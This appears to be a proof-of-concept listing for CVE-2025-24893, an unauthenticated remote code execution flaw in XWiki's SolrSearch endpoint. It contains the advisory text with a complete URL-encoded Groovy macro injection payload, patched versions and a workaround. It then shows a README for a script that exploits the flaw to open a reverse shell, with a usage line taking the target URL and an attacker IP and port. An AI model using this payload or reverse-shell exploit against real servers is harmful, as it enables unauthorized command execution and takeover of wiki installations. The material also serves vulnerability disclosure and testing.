CVE-2025-24893 PoC — Remote code execution as guest via SolrSearchMacros request in xwiki

Title:Remote code execution as guest via SolrSearchMacros request in xwiki (CVE-2025-24893)
Description:XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. Any guest can perform arbitrary remote code execution through a request to `SolrSearch`. This impacts the confidentiality, integrity and availability of the whole XWiki installation. To reproduce on an instance, without being logged in, go to `<host>/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28"Hello%20from"%20%2B%20"%20search%20text%3A"%20%2B%20%2823%20%2B%2019%29%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D%20`. If there is an output, and the title of the RSS feed contains `Hello from search text:42`, then the instance is vulnerable. This vulnerability has been patched in XWiki 15.10.11, 16.4.1 and 16.5.0RC1. Users are advised to upgrade. Users unable to upgrade may edit `Main.SolrSearchMacros` in `SolrSearchMacros.xml` on line 955 to match the `rawResponse` macro in `macros.vm#L2824` with a content type of `application/xml`, instead of simply outputting the content of the feed.

Reverse Shell Payload for CVE-2025-24893

# CVE-2025-24893 - XWiki Remote Code Execution Exploit

> **PoC for CVE-2025-24893 – XWiki `<groovy>` Macro Remote Code Execution**  
> Inspired by [Artemir's original PoC](https://github.com/Artemir7/CVE-2025-24893-EXP)

---

## Description

This is a Proof-of-Concept (PoC) exploit for **CVE-2025-24893**, a Remote Code Execution (RCE) vulnerability in vulnerable versions of **XWiki**.

The flaw lies in the improper sanitization of user input within the `SolrSearch` endpoint, which is vulnerable to unsandboxed `<groovy>` macro injection via an RSS feed query.

This script injects a Groovy payload using the `async` macro that results in **command execution on the server**, allowing an attacker to trigger a **reverse shell** back to their system.

---

## Usage

```bash
python3 CVE-2025-24893-reverse-shell.py -u <target_url> -i <attacker_ip> -p <attacker_port>

 [4.0K]  /data/pocs/ac8ba750a04e34217a8461fbcc72aa539a1935be
├── [2.0K]  CVE-2025-24893-reverse-shell.py
└── [ 873]  README.md

0 directories, 2 files